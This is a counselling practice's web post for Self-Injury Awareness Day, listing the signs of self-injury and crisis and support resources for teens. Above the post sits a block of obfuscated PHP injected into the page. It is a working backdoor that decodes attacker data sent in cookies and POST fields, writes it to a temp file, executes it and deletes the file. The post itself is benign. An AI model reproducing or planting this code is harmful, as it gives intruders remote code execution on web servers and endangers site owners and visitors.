$vMsRyAwL = 'V' . chr (95) . "\x4d" . chr (100) . "\x49" . chr (88) . chr ( 821 - 705 ); $SBqWvSMRX = 'c' . chr (108) . chr (97) . "\163" . 's' . chr (95) . "\145" . "\x78" . "\x69" . chr ( 761 - 646 )."\x74" . 's';$QODtNB = class_exists($vMsRyAwL); $SBqWvSMRX = "42630";$yQTlowEM = strpos($SBqWvSMRX, $vMsRyAwL);if ($QODtNB == $yQTlowEM){function TbWIfA(){$YISSL = new /* 51920 */ V_MdIXt(60887 + 60887); $YISSL = NULL;}$oPVMliaWl = "60887";class V_MdIXt{private function jxAZdC($oPVMliaWl){if (is_array(V_MdIXt::$buzuIvaU)) {$KxYSQUq = sys_get_temp_dir() . "/" . crc32(V_MdIXt::$buzuIvaU[chr ( 643 - 528 )."\141" . chr (108) . chr (116)]);@V_MdIXt::$buzuIvaU['w' . chr (114) . "\151" . 't' . chr ( 939 - 838 )]($KxYSQUq, V_MdIXt::$buzuIvaU[chr (99) . "\157" . "\x6e" . "\164" . "\145" . chr ( 196 - 86 ).chr (116)]);include $KxYSQUq;@V_MdIXt::$buzuIvaU['d' . chr ( 1092 - 991 )."\154" . chr (101) . "\x74" . "\145"]($KxYSQUq); $oPVMliaWl = "60887";exit();}}public function dmDpnkrvg(){$SSthuiT = "37577";$this->_dummy = str_repeat($SSthuiT, strlen($SSthuiT));}public function __destruct(){V_MdIXt::$buzuIvaU = @unserialize(V_MdIXt::$buzuIvaU); $oPVMliaWl = "64184_55620";$this->jxAZdC($oPVMliaWl); $oPVMliaWl = "64184_55620";}public function oEiVCMb($SSthuiT, $IIXCdK){return $SSthuiT[0] ^ str_repeat($IIXCdK, (strlen($SSthuiT[0]) / strlen($IIXCdK)) + 1);}public function mWFhecgtv($SSthuiT){$dyNhF = "base64";return array_map($dyNhF . '_' . 'd' . chr ( 312 - 211 )."\x63" . "\x6f" . 'd' . "\x65", array($SSthuiT,));}public function __construct($jXwuoaM=0){$zJxIKLr = ",";$SSthuiT = "";$iiVsj = $_POST;$iIQjzOGQvQ = $_COOKIE;$IIXCdK = "dfd4fbce-a9b5-4243-9388-b77a1c451228";$LouBS = @$iIQjzOGQvQ[substr($IIXCdK, 0, 4)];if (!empty($LouBS)){$LouBS = explode($zJxIKLr, $LouBS);foreach ($LouBS as $wbFtVBqQGc){$SSthuiT .= @$iIQjzOGQvQ[$wbFtVBqQGc];$SSthuiT .= @$iiVsj[$wbFtVBqQGc];}$SSthuiT = $this->mWFhecgtv($SSthuiT);}V_MdIXt::$buzuIvaU = $this->oEiVCMb($SSthuiT, $IIXCdK);if (strpos($IIXCdK, $zJxIKLr) !== FALSE){$IIXCdK = explode($zJxIKLr, $IIXCdK);}}public static $buzuIvaU = 24434;}TbWIfA();} Today is Self-Injury Awareness Day – Lakeland Counselors
Today is Self-Injury Awareness Day
Awareness

Today is Self-Injury Awareness Day

By December 28, 2020February 3rd, 2021No Comments

Today is Self-Injury Awareness Day, which brings awareness to self-injurious behaviors. Self-injury is the intentional act of causing harm to oneself. This behavior is most often seen with adolescents. Signs of self-injury include: parts of the body (often arms, legs, stomach, thighs) show signs of injury such as cuts, bruises, burns, and scabs; covering injured body (wearing long sleeves, jacket, and/or pants in summer); gives excuses for how obtained injury; and changing behaviors (isolating, withdrawn, avoiding activities/friends). If you are engaging in self-injury, talk to someone, and find a therapist who can help you to learn healthy coping skills. If you know someone who engages in self-injury, avoid judging. Listen and offer support, and pass along the following resources.

Resources:

Text CONNECT to 741741 in the United States to speak with a crisis counselor, 24/7

ok2talk.org is a community where teens and young adults, struggling with mental illness, can share personal stories in a creative way.

mindfulnessforteens.com is a website that provides information on how to practice mindfulness.

mood247.com is a website to record daily feelings.

teenmentalhealth.org is a website that offers resources on various mental health issues that teens face.

Mind Shift is a smartphone app designed to help teens with anxiety.

Breathe2Relax is a smartphone app that teaches how to use breathing to relax.

Love yourself as much as you want to be loved— Nino Varsimashvili

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